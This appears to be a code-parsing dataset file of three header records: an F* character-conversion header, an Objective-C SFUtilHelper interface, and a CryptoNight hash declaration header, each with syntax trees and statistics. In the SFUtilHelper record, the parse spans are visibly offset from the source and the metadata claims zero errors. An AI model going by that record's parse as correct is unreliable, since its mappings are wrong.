"(FStar_Char_char uu____66)" (() "(" (parameter_declaration) "FStar_Char_char uu____66" (type_identifier) "FStar_Char_char" (identifier) "uu____66" ()) ")" (;) ";" (preproc_def) "#define __FStar_Char_H_DEFINED\n" (#define) "#define" (identifier) "__FStar_Char_H_DEFINED" (#endif) "#endif"
116
0
{"language": "c", "success": true, "metadata": {"lines": 21, "avg_line_length": 34.86, "nodes": 86, "errors": 0, "source_hash": "7a281556241583652867f446e4e38806934daaf716f73336f7c96fd9fae4ec89", "categorized_nodes": 66}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <inttypes.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<inttypes.h>", "parent": 0, "children": [], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 21}}, {"id": 3, "type": "preproc_include", "text": "#include \"kremlib.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"kremlib.h\"", "parent": 3, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 20}}, {"id": 6, "type": "preproc_include", "text": "#include \"kremlin/internal/compat.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"kremlin/internal/compat.h\"", "parent": 6, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 36}}, {"id": 9, "type": "preproc_include", "text": "#include \"kremlin/internal/target.h\"\n", "parent": null, "children": [10, 11], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"kremlin/internal/target.h\"", "parent": 9, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 36}}, {"id": 12, "type": "preproc_ifdef", "text": "#ifndef __FStar_Char_H\n#define __FStar_Char_H\n\n\n\n\ntypedef uint32_t FStar_Char_char_code;\n\nextern uint32_t FStar_Char_u32_of_char(FStar_Char_char uu____10);\n\nextern FStar_Char_char FStar_Char_char_of_u32(uint32_t uu____22);\n\nextern Prims_int FStar_Char_int_of_char(FStar_Char_char c);\n\nextern FStar_Char_char FStar_Char_char_of_int(Prims_int i);\n\nextern FStar_Char_char FStar_Char_lowercase(FStar_Char_char uu____52);\n\nextern FStar_Char_char FStar_Char_uppercase(FStar_Char_char uu____66);\n\n#define __FStar_Char_H_DEFINED\n#endif", "parent": null, "children": [13, 14, 15, 18, 22, 32, 42, 52, 62, 72, 82, 85], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 31, "column": 6}}, {"id": 13, "type": "#ifndef", "text": "#ifndef", "parent": 12, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 14, "type": "identifier", "text": "__FStar_Char_H", "parent": 12, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 22}}, {"id": 15, "type": "preproc_def", "text": "#define __FStar_Char_H\n", "parent": 12, "children": [16, 17], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 16, "type": "#define", "text": "#define", "parent": 15, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 7}}, {"id": 17, "type": "identifier", "text": "__FStar_Char_H", "parent": 15, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 22}}, {"id": 18, "type": "type_definition", "text": "typedef uint32_t FStar_Char_char_code;", "parent": 12, "children": [19, 20, 21], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 38}}, {"id": 19, "type": "typedef", "text": "typedef", "parent": 18, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 7}}, {"id": 20, "type": "primitive_type", "text": "uint32_t", "parent": 18, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 16}}, {"id": 21, "type": "type_identifier", "text": "FStar_Char_char_code", "parent": 18, "children": [], "start_point": {"row": 16, "column": 17}, "end_point": {"row": 16, "column": 37}}, {"id": 22, "type": "declaration", "text": "extern uint32_t FStar_Char_u32_of_char(FStar_Char_char uu____10);", "parent": 12, "children": [23, 25, 26], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 65}}, {"id": 23, "type": "storage_class_specifier", "text": "extern", "parent": 22, "children": [24], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 6}}, {"id": 24, "type": "extern", "text": "extern", "parent": 23, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 6}}, {"id": 25, "type": "primitive_type", "text": "uint32_t", "parent": 22, "children": [], "start_point": {"row": 18, "column": 7}, "end_point": {"row": 18, "column": 15}}, {"id": 26, "type": "function_declarator", "text": "FStar_Char_u32_of_char(FStar_Char_char uu____10)", "parent": 22, "children": [27, 28], "start_point": {"row": 18, "column": 16}, "end_point": {"row": 18, "column": 64}}, {"id": 27, "type": "identifier", "text": "FStar_Char_u32_of_char", "parent": 26, "children": [], "start_point": {"row": 18, "column": 16}, "end_point": {"row": 18, "column": 38}}, {"id": 28, "type": "parameter_list", "text": "(FStar_Char_char uu____10)", "parent": 26, "children": [29], "start_point": {"row": 18, "column": 38}, "end_point": {"row": 18, "column": 64}}, {"id": 29, "type": "parameter_declaration", "text": "FStar_Char_char uu____10", "parent": 28, "children": [30, 31], "start_point": {"row": 18, "column": 39}, "end_point": {"row": 18, "column": 63}}, {"id": 30, "type": "type_identifier", "text": "FStar_Char_char", "parent": 29, "children": [], "start_point": {"row": 18, "column": 39}, "end_point": {"row": 18, "column": 54}}, {"id": 31, "type": "identifier", "text": "uu____10", "parent": 29, "children": [], "start_point": {"row": 18, "column": 55}, "end_point": {"row": 18, "column": 63}}, {"id": 32, "type": "declaration", "text": "extern FStar_Char_char FStar_Char_char_of_u32(uint32_t uu____22);", "parent": 12, "children": [33, 35, 36], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 65}}, {"id": 33, "type": "storage_class_specifier", "text": "extern", "parent": 32, "children": [34], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 6}}, {"id": 34, "type": "extern", "text": "extern", "parent": 33, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 6}}, {"id": 35, "type": "type_identifier", "text": "FStar_Char_char", "parent": 32, "children": [], "start_point": {"row": 20, "column": 7}, "end_point": {"row": 20, "column": 22}}, {"id": 36, "type": "function_declarator", "text": "FStar_Char_char_of_u32(uint32_t uu____22)", "parent": 32, "children": [37, 38], "start_point": {"row": 20, "column": 23}, "end_point": {"row": 20, "column": 64}}, {"id": 37, "type": "identifier", "text": "FStar_Char_char_of_u32", "parent": 36, "children": [], "start_point": {"row": 20, "column": 23}, "end_point": {"row": 20, "column": 45}}, {"id": 38, "type": "parameter_list", "text": "(uint32_t uu____22)", "parent": 36, "children": [39], "start_point": {"row": 20, "column": 45}, "end_point": {"row": 20, "column": 64}}, {"id": 39, "type": "parameter_declaration", "text": "uint32_t uu____22", "parent": 38, "children": [40, 41], "start_point": {"row": 20, "column": 46}, "end_point": {"row": 20, "column": 63}}, {"id": 40, "type": "primitive_type", "text": "uint32_t", "parent": 39, "children": [], "start_point": {"row": 20, "column": 46}, "end_point": {"row": 20, "column": 54}}, {"id": 41, "type": "identifier", "text": "uu____22", "parent": 39, "children": [], "start_point": {"row": 20, "column": 55}, "end_point": {"row": 20, "column": 63}}, {"id": 42, "type": "declaration", "text": "extern Prims_int FStar_Char_int_of_char(FStar_Char_char c);", "parent": 12, "children": [43, 45, 46], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 59}}, {"id": 43, "type": "storage_class_specifier", "text": "extern", "parent": 42, "children": [44], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 6}}, {"id": 44, "type": "extern", "text": "extern", "parent": 43, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 6}}, {"id": 45, "type": "type_identifier", "text": "Prims_int", "parent": 42, "children": [], "start_point": {"row": 22, "column": 7}, "end_point": {"row": 22, "column": 16}}, {"id": 46, "type": "function_declarator", "text": "FStar_Char_int_of_char(FStar_Char_char c)", "parent": 42, "children": [47, 48], "start_point": {"row": 22, "column": 17}, "end_point": {"row": 22, "column": 58}}, {"id": 47, "type": "identifier", "text": "FStar_Char_int_of_char", "parent": 46, "children": [], "start_point": {"row": 22, "column": 17}, "end_point": {"row": 22, "column": 39}}, {"id": 48, "type": "parameter_list", "text": "(FStar_Char_char c)", "parent": 46, "children": [49], "start_point": {"row": 22, "column": 39}, "end_point": {"row": 22, "column": 58}}, {"id": 49, "type": "parameter_declaration", "text": "FStar_Char_char c", "parent": 48, "children": [50, 51], "start_point": {"row": 22, "column": 40}, "end_point": {"row": 22, "column": 57}}, {"id": 50, "type": "type_identifier", "text": "FStar_Char_char", "parent": 49, "children": [], "start_point": {"row": 22, "column": 40}, "end_point": {"row": 22, "column": 55}}, {"id": 51, "type": "identifier", "text": "c", "parent": 49, "children": [], "start_point": {"row": 22, "column": 56}, "end_point": {"row": 22, "column": 57}}, {"id": 52, "type": "declaration", "text": "extern FStar_Char_char FStar_Char_char_of_int(Prims_int i);", "parent": 12, "children": [53, 55, 56], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 59}}, {"id": 53, "type": "storage_class_specifier", "text": "extern", "parent": 52, "children": [54], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 6}}, {"id": 54, "type": "extern", "text": "extern", "parent": 53, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 6}}, {"id": 55, "type": "type_identifier", "text": "FStar_Char_char", "parent": 52, "children": [], "start_point": {"row": 24, "column": 7}, "end_point": {"row": 24, "column": 22}}, {"id": 56, "type": "function_declarator", "text": "FStar_Char_char_of_int(Prims_int i)", "parent": 52, "children": [57, 58], "start_point": {"row": 24, "column": 23}, "end_point": {"row": 24, "column": 58}}, {"id": 57, "type": "identifier", "text": "FStar_Char_char_of_int", "parent": 56, "children": [], "start_point": {"row": 24, "column": 23}, "end_point": {"row": 24, "column": 45}}, {"id": 58, "type": "parameter_list", "text": "(Prims_int i)", "parent": 56, "children": [59], "start_point": {"row": 24, "column": 45}, "end_point": {"row": 24, "column": 58}}, {"id": 59, "type": "parameter_declaration", "text": "Prims_int i", "parent": 58, "children": [60, 61], "start_point": {"row": 24, "column": 46}, "end_point": {"row": 24, "column": 57}}, {"id": 60, "type": "type_identifier", "text": "Prims_int", "parent": 59, "children": [], "start_point": {"row": 24, "column": 46}, "end_point": {"row": 24, "column": 55}}, {"id": 61, "type": "identifier", "text": "i", "parent": 59, "children": [], "start_point": {"row": 24, "column": 56}, "end_point": {"row": 24, "column": 57}}, {"id": 62, "type": "declaration", "text": "extern FStar_Char_char FStar_Char_lowercase(FStar_Char_char uu____52);", "parent": 12, "children": [63, 65, 66], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 70}}, {"id": 63, "type": "storage_class_specifier", "text": "extern", "parent": 62, "children": [64], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 6}}, {"id": 64, "type": "extern", "text": "extern", "parent": 63, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 6}}, {"id": 65, "type": "type_identifier", "text": "FStar_Char_char", "parent": 62, "children": [], "start_point": {"row": 26, "column": 7}, "end_point": {"row": 26, "column": 22}}, {"id": 66, "type": "function_declarator", "text": "FStar_Char_lowercase(FStar_Char_char uu____52)", "parent": 62, "children": [67, 68], "start_point": {"row": 26, "column": 23}, "end_point": {"row": 26, "column": 69}}, {"id": 67, "type": "identifier", "text": "FStar_Char_lowercase", "parent": 66, "children": [], "start_point": {"row": 26, "column": 23}, "end_point": {"row": 26, "column": 43}}, {"id": 68, "type": "parameter_list", "text": "(FStar_Char_char uu____52)", "parent": 66, "children": [69], "start_point": {"row": 26, "column": 43}, "end_point": {"row": 26, "column": 69}}, {"id": 69, "type": "parameter_declaration", "text": "FStar_Char_char uu____52", "parent": 68, "children": [70, 71], "start_point": {"row": 26, "column": 44}, "end_point": {"row": 26, "column": 68}}, {"id": 70, "type": "type_identifier", "text": "FStar_Char_char", "parent": 69, "children": [], "start_point": {"row": 26, "column": 44}, "end_point": {"row": 26, "column": 59}}, {"id": 71, "type": "identifier", "text": "uu____52", "parent": 69, "children": [], "start_point": {"row": 26, "column": 60}, "end_point": {"row": 26, "column": 68}}, {"id": 72, "type": "declaration", "text": "extern FStar_Char_char FStar_Char_uppercase(FStar_Char_char uu____66);", "parent": 12, "children": [73, 75, 76], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 70}}, {"id": 73, "type": "storage_class_specifier", "text": "extern", "parent": 72, "children": [74], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 6}}, {"id": 74, "type": "extern", "text": "extern", "parent": 73, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 6}}, {"id": 75, "type": "type_identifier", "text": "FStar_Char_char", "parent": 72, "children": [], "start_point": {"row": 28, "column": 7}, "end_point": {"row": 28, "column": 22}}, {"id": 76, "type": "function_declarator", "text": "FStar_Char_uppercase(FStar_Char_char uu____66)", "parent": 72, "children": [77, 78], "start_point": {"row": 28, "column": 23}, "end_point": {"row": 28, "column": 69}}, {"id": 77, "type": "identifier", "text": "FStar_Char_uppercase", "parent": 76, "children": [], "start_point": {"row": 28, "column": 23}, "end_point": {"row": 28, "column": 43}}, {"id": 78, "type": "parameter_list", "text": "(FStar_Char_char uu____66)", "parent": 76, "children": [79], "start_point": {"row": 28, "column": 43}, "end_point": {"row": 28, "column": 69}}, {"id": 79, "type": "parameter_declaration", "text": "FStar_Char_char uu____66", "parent": 78, "children": [80, 81], "start_point": {"row": 28, "column": 44}, "end_point": {"row": 28, "column": 68}}, {"id": 80, "type": "type_identifier", "text": "FStar_Char_char", "parent": 79, "children": [], "start_point": {"row": 28, "column": 44}, "end_point": {"row": 28, "column": 59}}, {"id": 81, "type": "identifier", "text": "uu____66", "parent": 79, "children": [], "start_point": {"row": 28, "column": 60}, "end_point": {"row": 28, "column": 68}}, {"id": 82, "type": "preproc_def", "text": "#define __FStar_Char_H_DEFINED\n", "parent": 12, "children": [83, 84], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 31, "column": 0}}, {"id": 83, "type": "#define", "text": "#define", "parent": 82, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 7}}, {"id": 84, "type": "identifier", "text": "__FStar_Char_H_DEFINED", "parent": 82, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 30}}, {"id": 85, "type": "#endif", "text": "#endif", "parent": 12, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 6}}]}, "node_categories": {"declarations": {"functions": [26, 36, 46, 56, 66, 76], "variables": [18, 22, 29, 32, 39, 42, 49, 52, 59, 62, 69, 72, 79], "classes": [23, 33, 43, 53, 63, 73], "imports": [0, 1, 3, 4, 6, 7, 9, 10], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [12, 13, 14, 17, 21, 27, 30, 31, 35, 37, 41, 45, 47, 50, 51, 55, 57, 60, 61, 65, 67, 70, 71, 75, 77, 80, 81, 84, 85], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 11], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 26, "universal_type": "function", "name": "unknown", "text_snippet": "FStar_Char_u32_of_char(FStar_Char_char uu____10)"}, {"node_id": 36, "universal_type": "function", "name": "unknown", "text_snippet": "FStar_Char_char_of_u32(uint32_t uu____22)"}, {"node_id": 46, "universal_type": "function", "name": "unknown", "text_snippet": "FStar_Char_int_of_char(FStar_Char_char c)"}, {"node_id": 56, "universal_type": "function", "name": "unknown", "text_snippet": "FStar_Char_char_of_int(Prims_int i)"}, {"node_id": 66, "universal_type": "function", "name": "unknown", "text_snippet": "FStar_Char_lowercase(FStar_Char_char uu____52)"}, {"node_id": 76, "universal_type": "function", "name": "unknown", "text_snippet": "FStar_Char_uppercase(FStar_Char_char uu____66)"}], "class_declarations": [{"node_id": 23, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}, {"node_id": 33, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}, {"node_id": 43, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}, {"node_id": 53, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}, {"node_id": 63, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}, {"node_id": 73, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}], "import_statements": [{"node_id": 0, "text": "#include <inttypes.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include \"kremlib.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"kremlin/internal/compat.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"kremlin/internal/target.h\"\n"}, {"node_id": 10, "text": "#include"}]}, "original_source_code": "/*\n Copyright (c) INRIA and Microsoft Corporation. All rights reserved.\n Licensed under the Apache 2.0 License.\n*/\n\n#include <inttypes.h>\n#include \"kremlib.h\"\n#include \"kremlin/internal/compat.h\"\n#include \"kremlin/internal/target.h\"\n\n#ifndef __FStar_Char_H\n#define __FStar_Char_H\n\n\n\n\ntypedef uint32_t FStar_Char_char_code;\n\nextern uint32_t FStar_Char_u32_of_char(FStar_Char_char uu____10);\n\nextern FStar_Char_char FStar_Char_char_of_u32(uint32_t uu____22);\n\nextern Prims_int FStar_Char_int_of_char(FStar_Char_char c);\n\nextern FStar_Char_char FStar_Char_char_of_int(Prims_int i);\n\nextern FStar_Char_char FStar_Char_lowercase(FStar_Char_char uu____52);\n\nextern FStar_Char_char FStar_Char_uppercase(FStar_Char_char uu____66);\n\n#define __FStar_Char_H_DEFINED\n#endif\n"}
81,103
c
// // SFUtilHelper.h // swift_framework // // Created by 靳小飞 on 2018/11/29. // Copyright © 2018 靳小飞. All rights reserved. // #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN @interface SFUtilHelper : NSObject + (void)test; @end NS_ASSUME_NONNULL_END
19.23
13
(translation_unit) "//\n// SFUtilHelper.h\n// swift_framework\n//\n// Created by 靳小飞 on 2018/11/29.\n// Copyright © 2018 靳小飞. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface SFUtilHelper : NSObject\n+ (void)test;\n@end\n\nNS_ASSUME_NONNULL_END\n" (comment) "//" (comment) "// SFUtilHelper.h" (comment) "// swift_framework" (comment) "//" (comment) "// Created by 靳小飞 on 2018/11/29.\n// C" (comment) "pyright © 2018 靳小飞. All rights reserved.\n//\n\n#import " (comment) "Fo" (preproc_call) "dation/Foundation.h>\n\nNS_ASSUME_NO" (preproc_directive) "dation/" (preproc_arg) "oundation.h>\n\nNS_ASSUME_N" (declaration) "NULL_BEGIN\n\n@interface SFUtilHelper" (type_identifier) "NULL_BEGIN\n\n@interface " (ERROR) "U" (ERROR) "U" (identifier) "tilHelper" (;) "" (labeled_statement) ": NSObject\n+ (void)test;\n@end\n\nNS_ASS" (statement_identifier) ": NSObject\n+" (:) "(" (expression_statement) "oid)test;\n@end\n\nNS_ASS" (binary_expression) "oid)test;\n@end\n\nNS_AS" (identifier) "oid)test" (+) "\n" (cast_expression) "end\n\nNS_AS" (() "e" (type_descriptor) "nd\n\n" (primitive_type) "nd\n\n" ()) "N" (identifier) "S_AS" (;) "S" (ERROR) "M" (ERROR) "M" (declaration) "E_NONNULL_END\n" (type_identifier) "E_N" (identifier) "NULL_END\n" (;) ""
37
4
{"language": "c", "success": true, "metadata": {"lines": 13, "avg_line_length": 19.23, "nodes": 22, "errors": 0, "source_hash": "59b6c0692699c86dad558798b18e2027397ba67eedf1961bed14b238e523eb74", "categorized_nodes": 12}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "dation/Foundation.h>\n\nNS_ASSUME_NO", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "dation/", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "oundation.h>\n\nNS_ASSUME_N", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 33}}, {"id": 3, "type": "declaration", "text": "NULL_BEGIN\n\n@interface SFUtilHelper", "parent": null, "children": [4, 5, 7], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 12, "column": 10}}, {"id": 4, "type": "type_identifier", "text": "NULL_BEGIN\n\n@interface ", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 23}}, {"id": 5, "type": "ERROR", "text": "U", "parent": 3, "children": [6], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 1}}, {"id": 6, "type": "ERROR", "text": "U", "parent": 5, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 1}}, {"id": 7, "type": "identifier", "text": "tilHelper", "parent": 3, "children": [], "start_point": {"row": 12, "column": 1}, "end_point": {"row": 12, "column": 10}}, {"id": 8, "type": "labeled_statement", "text": ": NSObject\n+ (void)test;\n@end\n\nNS_ASS", "parent": null, "children": [9], "start_point": {"row": 12, "column": 11}, "end_point": {"row": 13, "column": 13}}, {"id": 9, "type": "statement_identifier", "text": ": NSObject\n+", "parent": 8, "children": [], "start_point": {"row": 12, "column": 11}, "end_point": {"row": 12, "column": 23}}, {"id": 10, "type": "binary_expression", "text": "oid)test;\n@end\n\nNS_AS", "parent": 8, "children": [11, 12, 13], "start_point": {"row": 12, "column": 26}, "end_point": {"row": 13, "column": 12}}, {"id": 11, "type": "identifier", "text": "oid)test", "parent": 10, "children": [], "start_point": {"row": 12, "column": 26}, "end_point": {"row": 12, "column": 34}}, {"id": 12, "type": "+", "text": "\n", "parent": 10, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 1}}, {"id": 13, "type": "cast_expression", "text": "end\n\nNS_AS", "parent": 10, "children": [14, 16], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 12}}, {"id": 14, "type": "type_descriptor", "text": "nd\n\n", "parent": 13, "children": [15], "start_point": {"row": 13, "column": 3}, "end_point": {"row": 13, "column": 7}}, {"id": 15, "type": "primitive_type", "text": "nd\n\n", "parent": 14, "children": [], "start_point": {"row": 13, "column": 3}, "end_point": {"row": 13, "column": 7}}, {"id": 16, "type": "identifier", "text": "S_AS", "parent": 13, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 12}}, {"id": 17, "type": "ERROR", "text": "M", "parent": null, "children": [18], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 1}}, {"id": 18, "type": "ERROR", "text": "M", "parent": 17, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 1}}, {"id": 19, "type": "declaration", "text": "E_NONNULL_END\n", "parent": null, "children": [20, 21], "start_point": {"row": 14, "column": 1}, "end_point": {"row": 16, "column": 21}}, {"id": 20, "type": "type_identifier", "text": "E_N", "parent": 19, "children": [], "start_point": {"row": 14, "column": 1}, "end_point": {"row": 14, "column": 4}}, {"id": 21, "type": "identifier", "text": "NULL_END\n", "parent": 19, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 21}}]}, "node_categories": {"declarations": {"functions": [], "variables": [3, 19], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [10, 13], "assignments": [], "loops": [], "conditionals": [4, 7, 9, 11, 16, 20, 21], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// SFUtilHelper.h\n// swift_framework\n//\n// Created by \u9773\u5c0f\u98de on 2018/11/29.\n// Copyright \u00a9 2018 \u9773\u5c0f\u98de. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface SFUtilHelper : NSObject\n+ (void)test;\n@end\n\nNS_ASSUME_NONNULL_END\n"}
81,104
c
#ifndef CRYPTONIGHT_H #define CRYPTONIGHT_H #ifdef __cplusplus extern "C" { #endif #include <stdint.h> void cryptonight_hash(const char* input, char* output, uint32_t len, int variant); void cryptonight_fast_hash(const char* input, char* output, uint32_t len); #ifdef __cplusplus } #endif #endif
17.65
17
(translation_unit) "#ifndef CRYPTONIGHT_H \n#define CRYPTONIGHT_H \n \n#ifdef __cplusplus \nextern "C" { \n#endif \n \n#include <stdint.h> \n \nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant); \nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len); \n \n#ifdef __cplusplus \n} \n#endif \n \n#endif \n" (preproc_ifdef) "#ifndef CRYPTONIGHT_H \n#define CRYPTONIGHT_H \n \n#ifdef __cplusplus \nextern "C" { \n#endif \n \n#include <stdint.h> \n \nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant); \nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len); \n \n#ifdef __cplusplus \n} \n#endif \n \n#endif" (#ifndef) "#ifndef" (identifier) "CRYPTONIGHT_H" (preproc_def) "#define CRYPTONIGHT_H \n" (#define) "#define" (identifier) "CRYPTONIGHT_H" (preproc_ifdef) "#ifdef __cplusplus \nextern "C" { \n#endif \n \n#include <stdint.h> \n \nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant); \nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len); \n \n#ifdef __cplusplus \n} \n#endif" (#ifdef) "#ifdef" (identifier) "__cplusplus" (linkage_specification) "extern "C" { \n#endif \n \n#include <stdint.h> \n \nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant); \nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len); \n \n#ifdef __cplusplus \n}" (extern) "extern" (string_literal) ""C"" (") """ (string_content) "C" (") """ (declaration_list) "{ \n#endif \n \n#include <stdint.h> \n \nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant); \nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len); \n \n#ifdef __cplusplus \n}" ({) "{" (preproc_call) "#endif \n" (preproc_directive) "#endif" (preproc_include) "#include <stdint.h> \n" (#include) "#include" (system_lib_string) "<stdint.h>" (declaration) "void cryptonight_hash(const char* input, char* output, uint32_t len, int variant);" (primitive_type) "void" (function_declarator) "cryptonight_hash(const char* input, char* output, uint32_t len, int variant)" (identifier) "cryptonight_hash" (parameter_list) "(const char* input, char* output, uint32_t len, int variant)" (() "(" (parameter_declaration) "const char* input" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* input" (*) "*" (identifier) "input" (,) "," (parameter_declaration) "char* output" (primitive_type) "char" (pointer_declarator) "* output" (*) "*" (identifier) "output" (,) "," (parameter_declaration) "uint32_t len" (primitive_type) "uint32_t" (identifier) "len" (,) "," (parameter_declaration) "int variant" (primitive_type) "int" (identifier) "variant" ()) ")" (;) ";" (declaration) "void cryptonight_fast_hash(const char* input, char* output, uint32_t len);" (primitive_type) "void" (function_declarator) "cryptonight_fast_hash(const char* input, char* output, uint32_t len)" (identifier) "cryptonight_fast_hash" (parameter_list) "(const char* input, char* output, uint32_t len)" (() "(" (parameter_declaration) "const char* input" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* input" (*) "*" (identifier) "input" (,) "," (parameter_declaration) "char* output" (primitive_type) "char" (pointer_declarator) "* output" (*) "*" (identifier) "output" (,) "," (parameter_declaration) "uint32_t len" (primitive_type) "uint32_t" (identifier) "len" ()) ")" (;) ";" (preproc_ifdef) "#ifdef __cplusplus" (#ifdef) "#ifdef" (identifier) "__cplusplus" (#endif) "" (}) "}" (#endif) "#endif" (#endif) "#endif"
84
0
